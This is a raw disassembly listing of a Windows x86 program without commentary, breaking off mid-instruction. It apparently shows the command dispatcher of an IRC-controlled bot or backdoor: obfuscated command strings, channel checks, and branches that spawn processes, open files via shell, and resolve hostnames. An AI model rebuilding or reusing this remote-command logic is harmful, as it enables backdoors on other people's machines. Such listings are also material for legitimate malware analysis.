sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40222A lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_40222A lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_40222A lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_40222A lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_40222A lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40222A lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_40222A lea ecx, [esi+1FFh] mov byte ptr [esp+14h+var_4], 6 call sub_40222A mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403E50 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403F30 proc near ; CODE XREF: sub_40208Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403F30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+1FFh] mov [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1B6h] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+16Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+124h] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0DBh] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_401AE6 lea ecx, [esi+49h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403F30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_404010 proc near ; CODE XREF: sub_401D48j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_404010 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebp push esi push edi push 0 push 4 push 9 push 4Fh lea eax, [esp+70h+var_3C] push 2 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+64h+var_4], 0 call sub_4017EE lea ecx, [esi+0C29h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_404010 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4 push 0Eh push 12h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 1 call sub_4017EE push eax lea eax, [esi+0BCDh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 15h push 0Fh push 2 push 1 push 4Fh lea ecx, [esp+40h] push 2 push ecx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+60h], 2 call sub_4017EE lea edx, [esi+0C57h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 12h push 15h push 3 push 5 push 13h push 4Fh lea eax, [esp+44h] push 2 push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 3 call sub_4017EE lea ecx, [esi+0DF5h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Fh push 6 push 0Eh push 9 push 13h push 19h push 13h push 4Fh lea edx, [esp+48h] push 2 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 4 call sub_4017EE push eax lea eax, [esi+0C85h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 16h push 0Fh push 0Dh push 5 push 12h push 4Fh lea ecx, [esp+44h] push 2 push ecx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+60h], 5 call sub_4017EE lea edx, [esi+0B71h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 push 4Fh lea eax, [esp+4Ch] push 2 push eax call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+60h], 6 call sub_4017EE lea ecx, [esi+0DC7h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Eh push 5 push 10h push 0Fh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 7 call sub_4017EE push eax lea eax, [esi+0D0Fh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 14h push 9 push 15h push 11h push 4Fh lea ecx, [esp+3Ch] push 2 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 8 call sub_4017EE lea edx, [esi+0D99h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 4 push 0Dh push 3 push 4Fh lea eax, [esp+38h] push 2 push eax call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 9 call sub_4017EE lea ecx, [esi+0E23h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh lea edx, [esp+38h] push 2 push edx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ah call sub_4017EE push eax lea eax, [esi+0D6Bh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 13h push 0Eh push 4 push 4Fh lea ecx, [esp+38h] push 2 push ecx call sub_4019C4 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Bh call sub_4017EE lea edx, [esi+0D3Dh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 5 push 0Dh push 9 push 14h push 10h push 15h push 0Ch push 4Fh lea eax, [esp+48h] push 2 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+60h], 0Ch call sub_4017EE push eax lea ecx, [esi+0CB3h] push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+5Ch], edi call sub_401226 push 0 push 0Bh push 3 push 9 push 0Eh push 4Fh lea edx, [esp+3Ch] push 2 push edx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+60h], 0Dh call sub_4017EE push eax lea eax, [esi+0CE1h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- db 8Dh, 4Ch, 24h dd 247C8924h, 0CDD0E85Ch, 4E8DFFFFh, 0D390E809h, 4C8DFFFFh dd 51500C24h, 0FFDBD7E8h, 6A006AFFh, 6A1D6A25h, 24548D23h dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD53FE8h, 20C483FFh, 4C8DE88Bh dd 44C60C24h, 0E80F5C24h, 0FFFFD356h, 0E8CD8B50h, 0FFFFD34Eh dd 45F46850h, 85680044h, 0E8004D80h, 0FFFFD974h, 8D10C483h dd 0C624244Ch, 0E5C2444h, 0FFCD65E8h, 8D206AFFh, 6A402444h dd 4C8D5000h, 0DFE81824h, 8BFFFFCDh, 2444C6C8h, 0FE8105Ch dd 50FFFFD3h, 4445F068h, 8E556800h, 3EE8004Eh, 83FFFFCBh dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCD26h, 0C7CCE890h dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h dd 247C8905h, 0CD04E85Ch, 4C8BFFFFh, 5E5F5424h, 0D89645Dh dd 0 ; --------------------------------------------------------------------------- add esp, 54h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 150h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404690 proc near ; CODE XREF: sub_401A41j var_88 = dword ptr -88h var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_404690 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 7Ch push ebx push ebp push esi mov esi, [esp+94h+arg_0] mov ebp, ecx push edi lea ebx, [esi+2Ah] push 0 mov ecx, ebx mov [esp+9Ch+var_88], ebp call sub_401479 mov cl, [eax] lea edi, [esi+69h] cmp cl, 23h jnz short loc_4046D2 push ebx jmp short loc_4046D6 ; --------------------------------------------------------------------------- loc_4046D2: ; CODE XREF: sub_404690+3Dj lea eax, [esi+15h] push eax loc_4046D6: ; CODE XREF: sub_404690+40j mov ecx, edi call sub_401FDC mov al, [esi+94h] test al, al jz short loc_4046F2 lea ecx, [esi+15h] push ecx mov ecx, edi call sub_401FDC loc_4046F2: ; CODE XREF: sub_404690+55j mov al, [esi+95h] test al, al jz short loc_40476F lea ecx, [esp+98h+var_6C] call sub_40142E push offset aO ; " -o" mov ecx, esi mov [esp+9Ch+var_4], 0 call sub_4013ED add eax, 3 lea edx, [esp+98h+var_54] push eax push edx mov ecx, esi call sub_401E47 push eax lea ecx, [esp+9Ch+var_6C] mov byte ptr [esp+9Ch+var_4], 1 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], 0 call sub_401226 lea eax, [esp+98h+var_6C] mov ecx, edi push eax call sub_401FDC lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 loc_40476F: ; CODE XREF: sub_404690+6Aj push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_6C] push 0 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+98h+var_54] mov ebx, 2 push 1 push edx mov ecx, eax mov [esp+0A0h+var_4], ebx call sub_401E47 lea edi, [esi+7Eh] push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 3 call sub_401FDC lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_6C] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 push 0 lea ecx, [ebp+32Ch] call sub_401479 push 0 mov ecx, esi mov ebp, eax call sub_401479 mov al, [eax] mov cl, [ebp+0] cmp al, cl jnz loc_404A3A push 0 push 14h push 1 push 5 push 10h push 5 push 12h push 4Eh push 14h push 0Fh lea ecx, [esp+0C0h+var_54] push ebx push ecx call sub_4019C4 add esp, 30h mov ecx, eax mov [esp+98h+var_4], 4 call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40485F sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jz short loc_40485F mov bl, 1 jmp short loc_404861 ; --------------------------------------------------------------------------- loc_40485F: ; CODE XREF: sub_404690+1A6j ; sub_404690+1C9j xor bl, bl loc_404861: ; CODE XREF: sub_404690+1CDj lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_404A1E push offset asc_444600 ; " " lea eax, [esp+9Ch+var_54] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+9Ch+var_4], 5 call sub_4012EE test eax, eax lea ecx, [esp+98h+var_54] mov [esp+98h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz loc_404A3A push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+98h+var_4], 6 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+98h+var_54] mov ebp, eax mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 test ebp, ebp jz loc_404A3A push 20h mov ecx, esi call sub_401D34 lea edx, [esp+98h+var_84] push eax push edx mov ecx, esi call sub_401E47 mov ebx, 7 push 20h lea ecx, [esp+9Ch+var_84] mov [esp+9Ch+var_4], ebx call sub_401D34 push eax lea eax, [esp+9Ch+var_54] push eax lea ecx, [esp+0A0h+var_84] call sub_401E47 push eax lea ecx, [esp+9Ch+var_84] mov byte ptr [esp+9Ch+var_4], 8 call sub_40202C lea ecx, [esp+98h+var_54] mov byte ptr [esp+98h+var_4], bl call sub_401226 lea ecx, [esp+98h+var_84] push ecx mov ecx, esi call sub_401FDC push offset asc_444600 ; " " lea edx, [esp+9Ch+var_24] push 0 push edx mov ecx, esi call sub_4016B8 lea ecx, [esp+98h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+0A0h+var_4], 9 call sub_401E47 push eax mov ecx, edi mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401FDC lea ecx, [esp+98h+var_3C] mov byte ptr [esp+98h+var_4], 9 call sub_401226 lea ecx, [esp+98h+var_24] mov byte ptr [esp+98h+var_4], bl call sub_401226 mov al, [esp+98h+arg_4] test al, al jnz short loc_4049F7 test ebp, ebp jle short loc_404A08 loc_4049E8: ; CODE XREF: sub_404690+363j mov ecx, [esp+98h+var_88] push esi call sub_401F87 dec ebp jnz short loc_4049E8 jmp short loc_404A08 ; --------------------------------------------------------------------------- loc_4049F7: ; CODE XREF: sub_404690+352j test ebp, ebp jle short loc_404A08 loc_4049FB: ; CODE XREF: sub_404690+376j mov ecx, [esp+98h+var_88] push esi call sub_40144C dec ebp jnz short loc_4049FB loc_404A08: ; CODE XREF: sub_404690+356j ; sub_404690+365j ... lea ecx, [esp+98h+var_84] mov [esp+98h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A1E: ; CODE XREF: sub_404690+1E7j mov al, [esp+98h+arg_4] mov ecx, [esp+98h+var_88] test al, al push esi jnz short loc_404A35 call sub_401F87 jmp short loc_404A3A ; --------------------------------------------------------------------------- loc_404A35: ; CODE XREF: sub_404690+39Cj call sub_40144C loc_404A3A: ; CODE XREF: sub_404690+162j ; sub_404690+232j ... mov ecx, [esp+98h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 88h retn 8 sub_404690 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404B60 proc near ; CODE XREF: sub_401F87j arg_0 = dword ptr 4 push esi push edi mov edi, ecx mov ecx, offset word_44AC72 call sub_4014DD mov esi, [esp+8+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jz short loc_404BA6 sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push eax call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jnz short loc_404BA6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BA6: ; CODE XREF: sub_404B60+1Dj ; sub_404B60+3Dj sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+20h+arg_0], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 test eax, eax jnz short loc_404BE6 mov al, [edi+469h] test al, al jz short loc_404BE6 push 0 lea ecx, [esi+2Ah] call sub_401479 cmp byte ptr [eax], 23h jz short loc_404BE6 xor al, al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_404B60+64j ; sub_404B60+6Ej ... push esi mov ecx, edi call sub_40144C pop edi pop esi retn 4 sub_404B60 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C30 proc near ; CODE XREF: sub_40144Cj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 1 lea ecx, [esi+7Eh] call sub_4017EE push eax mov ecx, offset dword_449128 call sub_401B04 test eax, eax jz short loc_404C5A mov ecx, [eax+2Ah] push esi mov eax, [ecx] call dword ptr [eax] pop esi retn 4 ; --------------------------------------------------------------------------- loc_404C5A: ; CODE XREF: sub_404C30+1Cj xor al, al pop esi retn 4 sub_404C30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404C70 proc near ; CODE XREF: sub_40186Bj push esi push edi mov edi, dword_5118AC mov esi, ecx call edi mov edx, dword_4D80A9 mov ecx, [esi+421h] sub eax, edx cmp eax, ecx jbe short loc_404C9F mov ecx, offset byte_4D8085 call sub_401D20 call edi mov dword_4D80A9, eax loc_404C9F: ; CODE XREF: sub_404C70+1Cj pop edi mov al, 1 pop esi retn sub_404C70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_404CC0 proc near ; CODE XREF: sub_4017D0j var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AC = dword ptr -1ACh var_1A8 = byte ptr -1A8h var_198 = byte ptr -198h var_194 = dword ptr -194h var_190 = byte ptr -190h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_168 = dword ptr -168h var_164 = byte ptr -164h var_14D = byte ptr -14Dh var_14C = byte ptr -14Ch var_130 = byte ptr -130h var_11C = byte ptr -11Ch var_104 = dword ptr -104h var_100 = byte ptr -100h var_D0 = dword ptr -0D0h var_A0 = byte ptr -0A0h var_8C = byte ptr -8Ch var_54 = byte ptr -54h var_50 = byte ptr -50h var_48 = byte ptr -48h var_30 = byte ptr -30h var_18 = byte ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_404CC0 push eax mov large fs:0, esp sub esp, 15Ch push ebx push ebp push esi mov esi, [esp+174h+arg_0] push edi mov edi, ecx lea ebp, [esi+7Eh] lea ecx, [edi+0C29h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404D34 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [edi+2E3h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404D34: ; CODE XREF: sub_404CC0+40j lea ecx, [edi+0D6Bh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404EC5 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 2 push edx mov ecx, esi call sub_4011EA push offset asc_444600 ; " " lea eax, [esp+17Ch+var_100] push 1 push eax mov ecx, esi mov [esp+184h+var_4], 0 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 1 call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, 1 lea ecx, [esp+178h+var_100] mov byte ptr [esp+178h+var_4], 0 setz bl call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 2000h push 2000h lea ecx, [esp+180h+var_164] mov byte ptr [esp+180h+var_4], 2 call sub_401C71 push eax lea ecx, [esp+180h+var_14C] call sub_4017EE push eax nop call near ptr 2800000h lea ecx, [esp+178h+var_164] push ecx lea ecx, [esp+17Ch+var_14C] call sub_401FDC mov ecx, 11h xor eax, eax lea edi, [esp+178h+var_D0] lea edx, [esp+178h+var_11C] rep stosd lea eax, [esp+178h+var_D0] push edx push eax push 0 neg bl push 0 push 28h sbb ebx, ebx push 1 and ebx, 5 push 0 push 0 lea ecx, [esp+198h+var_14C] mov [esp+198h+var_D0], 44h mov word ptr [esp+198h+var_A0], bx call sub_4014DD push eax push 0 nop call near ptr 27F0462h test eax, eax jnz short loc_404E99 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404E99: ; CODE XREF: sub_404CC0+18Cj lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 0 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404EC5: ; CODE XREF: sub_404CC0+89j lea ecx, [edi+0B71h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_404F74 push 1 push offset asc_444600 ; " " lea eax, [esp+180h+var_164] push 1 push eax mov ecx, esi call sub_4011EA mov ecx, offset byte_4E8E55 mov [esp+178h+var_4], 3 call sub_4017EE push eax lea ecx, [esp+17Ch+var_164] call sub_4012EE test eax, eax jnz short loc_404F60 mov al, byte_4498A6 test al, al jz short loc_404F30 push offset dword_449844 mov ecx, offset dword_44AD80 call sub_401451 loc_404F30: ; CODE XREF: sub_404CC0+25Fj mov al, byte_4498EF test al, al jz short loc_404F48 push offset byte_44991F mov ecx, offset dword_44AD80 call sub_401951 loc_404F48: ; CODE XREF: sub_404CC0+277j mov ecx, offset dword_44AD80 call sub_401E79 mov byte_4D809C, 0 mov byte_4E8E54, 0 loc_404F60: ; CODE XREF: sub_404CC0+256j mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_164] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_404F74: ; CODE XREF: sub_404CC0+21Aj lea ecx, [edi+0C57h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_404FBC lea ecx, [esi+69h] call sub_4014DD push eax mov ecx, offset word_4E8E6A call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_404FBC: ; CODE XREF: sub_404CC0+2C9j lea ecx, [edi+0DC7h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405076 push eax push 13h push 0Eh push 4 push 8 push 13h push 15h push 0Ch push 6 lea eax, [esp+19Ch+var_14C] push 50h push eax call sub_4019C4 mov esi, eax push 0 push 5 push 18h push 5 push 4Eh push 7 push 9 push 6 push 0Eh push 0Fh push 3 push 10h lea ecx, [esp+1D4h+var_164] push 9 push ecx mov [esp+1DCh+var_4], 4 call sub_4019C4 add esp, 64h mov edi, eax mov ecx, esi mov byte ptr [esp+178h+var_4], 5 call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax call sub_401299 add esp, 8 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 4 call sub_401226 lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405076: ; CODE XREF: sub_404CC0+311j lea ecx, [edi+0D0Fh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405194 lea ecx, [esp+178h+var_14C] call sub_40142E push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi mov [esp+184h+var_4], 6 call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 7 call sub_4017EE push eax lea ecx, [esp+17Ch+var_14C] call sub_401A9B lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 6 call sub_401226 lea ecx, [esp+178h+var_164] call sub_40142E push 1 mov bl, 8 push 0 push 0 lea ecx, [esp+184h+var_14C] mov byte ptr [esp+184h+var_4], bl call sub_4017EE push eax push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h movsx eax, al push eax lea ecx, [esp+17Ch+var_11C] call sub_402112 lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], 9 push ecx lea ecx, [esp+17Ch+var_164] call sub_40202C lea ecx, [esp+178h+var_11C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 6 call sub_401226 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_14C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405194: ; CODE XREF: sub_404CC0+3CBj lea ecx, [edi+0D99h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_4051B7 mov byte_4D809C, al mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4051B7: ; CODE XREF: sub_404CC0+4E9j lea ecx, [edi+0D3Dh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40547E lea ecx, [esp+178h+var_11C] call sub_40142E push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 mov ebx, 0Ah push ecx mov ecx, esi mov [esp+184h+var_4], ebx call sub_4016B8 push offset byte_448F40 mov ecx, eax mov byte ptr [esp+17Ch+var_4], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl setz [esp+178h+var_14D] call sub_401226 mov al, [esp+178h+var_14D] test al, al jz short loc_405241 mov [esp+178h+var_4], 0FFFFFFFFh lea ecx, [esp+178h+var_11C] jmp loc_4056B8 ; --------------------------------------------------------------------------- loc_405241: ; CODE XREF: sub_404CC0+56Bj push offset asc_444600 ; " " lea edx, [esp+17Ch+var_164] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Ch call sub_4017EE push eax nop call near ptr 71AB2BF4h lea ecx, [esp+178h+var_164] mov [esp+178h+var_104], eax mov byte ptr [esp+178h+var_4], bl call sub_401226 mov eax, [esp+178h+var_104] or ebp, 0FFFFFFFFh cmp eax, ebp jz loc_405314 push 2 lea eax, [esp+17Ch+var_104] push 4 push eax nop call near ptr 71ABE479h mov edi, eax test edi, edi jz loc_4053F5 push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov edx, [edi] mov ecx, eax push edx mov byte ptr [esp+17Ch+var_4], 0Dh call sub_4017EE push eax lea eax, [esp+180h+var_11C] push offset aSResolvedS ; "%s resolved %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx jmp loc_40545B ; --------------------------------------------------------------------------- loc_405314: ; CODE XREF: sub_404CC0+5C7j push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 0Eh call sub_4017EE push eax call near ptr 71AB4FD4h nop lea ecx, [esp+178h+var_164] mov edi, eax mov byte ptr [esp+178h+var_4], bl call sub_401226 test edi, edi jz loc_4053F5 mov ecx, [edi+0Ch] push offset asc_444600 ; " " lea eax, [esp+17Ch+var_164] push 1 mov edx, [ecx] push eax mov ecx, esi mov edi, [edx] call sub_4016B8 mov ebp, eax push edi mov byte ptr [esp+17Ch+var_4], 0Fh nop call near ptr 71AB3F41h push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esp+180h+var_11C] push offset aSS_1 ; "%s -> %s" push ecx call sub_40102D add esp, 10h lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_4053F5: ; CODE XREF: sub_404CC0+5E0j ; sub_404CC0+691j push offset asc_444600 ; " " lea ecx, [esp+17Ch+var_164] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov byte ptr [esp+178h+var_4], 10h call sub_4017EE push 